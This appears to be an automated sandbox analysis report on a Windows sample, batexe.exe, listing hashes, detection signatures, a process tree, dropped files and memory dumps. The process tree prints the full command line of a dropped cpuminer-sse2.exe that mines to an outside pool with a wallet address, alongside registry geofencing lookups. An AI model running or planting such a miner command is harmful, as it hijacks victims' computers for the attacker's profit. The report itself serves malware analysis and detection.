73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
302s
max time network
305s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22/02/2024, 14:09

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3844919115-497234255-166257750-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3844919115-497234255-166257750-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
2592	b2e.exe
2536	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2536	cpuminer-sse2.exe
2536	cpuminer-sse2.exe
2536	cpuminer-sse2.exe
2536	cpuminer-sse2.exe
2536	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3176-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3176 wrote to memory of 2592	3176	batexe.exe	92
PID 3176 wrote to memory of 2592	3176	batexe.exe	92
PID 3176 wrote to memory of 2592	3176	batexe.exe	92
PID 2592 wrote to memory of 1816	2592	b2e.exe	93
PID 2592 wrote to memory of 1816	2592	b2e.exe	93
PID 2592 wrote to memory of 1816	2592	b2e.exe	93
PID 1816 wrote to memory of 2536	1816	cmd.exe	96
PID 1816 wrote to memory of 2536	1816	cmd.exe	96

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3176
- C:\Users\Admin\AppData\Local\Temp\460D.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\460D.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\460D.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2592
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\538A.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1816
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\460D.tmp\b2e.exe

Filesize
18.6MB

MD5
8d62e8989be7b770baa4dd43795c6036

SHA1
4632efedcd6bd11cd15cbdc48379e303f53be4bb

SHA256
bbaaca7c3b0febb7e33a721bcf527994aabec2fa0b26170508e4847efce4061f

SHA512
93869bb79c0024a28de79d6b351bf423fae09f6f55403225f1a448f6ec7fa76c84fe1cf176d83376bbbb8198193dcfd4ee53d7625b6ea29d5162f48f6264e626

Download Submit
C:\Users\Admin\AppData\Local\Temp\460D.tmp\b2e.exe

Filesize
2.1MB

MD5
49f8e6dbb17011265972add3583ec238

SHA1
581dc50438bf5a5bf0a88b06ec1157a1a08759cb

SHA256
8324cb025652cf7569103f683172e766e314bcfc56a2681002a7f4f6231a4569

SHA512
a7f08931059e1c7ea5e3ccb779ecd3eaaa5e3595cb73827271b1cf8bf1a39f272cac3bfe140a1441e8ad0cbd853ca362099ba1de1f42f4521f0052dccf74414b

Download Submit
C:\Users\Admin\AppData\Local\Temp\460D.tmp\b2e.exe

Filesize
896KB

MD5
1f22d8bf5f6c3dda3e880ea1ba0417d4

SHA1
2a8dbf2319999a894714bdea650eb5be32c64c19

SHA256
afb7da96abe31529f462178372c48627a7e681e3c18cd2196aec8beee07f5b96

SHA512
217b89f6a74039807c135539482b1a769d715190f7756e2b0162a33da3d8ada909b80ca3fc1596e542f163f6a45726282997f4e52a36c352cc89b9e58c1e6e05

Download Submit
C:\Users\Admin\AppData\Local\Temp\538A.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
320KB

MD5
59d36bdd941feb6c770ec68a37e8c21b

SHA1
1191d1e478164cd720974ea1ad2bc248999a8d45

SHA256
d5227dca74d9be12116b359c9d61265b102c0986eb6196e269cc3e3b895c0293

SHA512
b1620dd0763f2f7c263ae69c71eba7cba29d89f1bb551356abb7073e4e7013347345c43f2bad3c4733300c5b98feecf2fd91db2a363c9e5dcdd87f170edbe406

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
64KB

MD5
e7317a0a343dc63f3fa3bf9ca6e93ff0

SHA1
0d48881feb76cf81fc46614bebfa3c134cada128

SHA256
277a43f17ccc4f0fba87c710212de61a41383bcb94410fa093b50ebd50347a63

SHA512
84ef51472db00cd4e90df3062a3cbc29a994c5cf470e54300d4a2f103ba8fb8279ec87b0561625ea1bccd80a7ad664c63457831b4eb919a7608099430b98a3d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
40KB

MD5
f7ee504530cb1c485f8825569e1d7a88

SHA1
ad8b3f12e02083eed4b0000ac4454d2839441b13

SHA256
da8b416cea9a8ce081a2dba0c1a28d7275c95de4794b6d8028bfdf0ed054117b

SHA512
43e124e81f7df223dff6ebf77211e3604827bf4c4f08dc6f397f8065872fd22936f818ba01e6760ef55b8bbbaef85b8a0b9a2203ecc337932f5c180c4ebf033a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
5KB

MD5
a027246b6e287ff8c12eaed489c42e2d

SHA1
c7ba830ab2a93d50686a8893fad20d5b5ca67433

SHA256
7f4fb44328c33cbe34324079c0f2956c5c33b0cfa865ef39ad0613c18246d565

SHA512
ebe11a751b590c75440dbcea489b95d93378405e40e6f108136aaefd77b67a8ae1e22eb762a89f77e1ededabd35ff32a6aa180a8abd62d67d31696713f0cf2c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
116KB

MD5
db9f8201b09978cdd502a38117e57edd

SHA1
509b79675178d3ff7e049a9868354621af0d420b

SHA256
317551401ccb0a1b2c8652778558a93d63910029c0ed2f8dd1cee4ded6598794

SHA512
84e9ea836c3517c8fb25e113cfe9ceecb96e639285cfeee80b3040684587943d6dd24f7795c3e863efff99428640c359891a66701ee6955ec010d74286081800

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
76KB

MD5
f45dd54700c1e4ef52c2e924643359d3

SHA1
68f8ae1ce8d15950e9b1120f0ceaa48ae87f84ca

SHA256
67828398e460e92d131786a35dad8f9d596b554acd1bb6ab43972567689069b9

SHA512
4f4d7d217bcead3c86f91f32a7883f1ffcc8409f672e1deb4ac573188bacfba3b4017dae41053dadf32f4197be0899a1f7b6ed2f505d3361a6cd80a047392512

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.2MB

MD5
f7d11923d57939f2740ec89604413bc6

SHA1
da9d55f79d5c59cc756b867ea2b92457b08a8906

SHA256
6b49fc963280dcef097d4d4770102d6653ed884f1d206ff3a323b8f090712bef

SHA512
5540a5eb82b474930ae1a5a086de91d3b4172658fa93dceebd4a1d8a3a8dc473c56be531426397aded77796c9359b72953c66f08dd9e103d24fc68f5c4810d82

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2536-49-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2536-55-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2536-105-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2536-44-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2536-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2536-46-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/2536-48-0x0000000062560000-0x00000000625F8000-memory.dmp

Filesize
608KB

Download
memory/2536-47-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/2536-100-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2536-41-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/2536-95-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2536-60-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2536-70-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2536-75-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2536-90-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2592-54-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2592-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3176-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download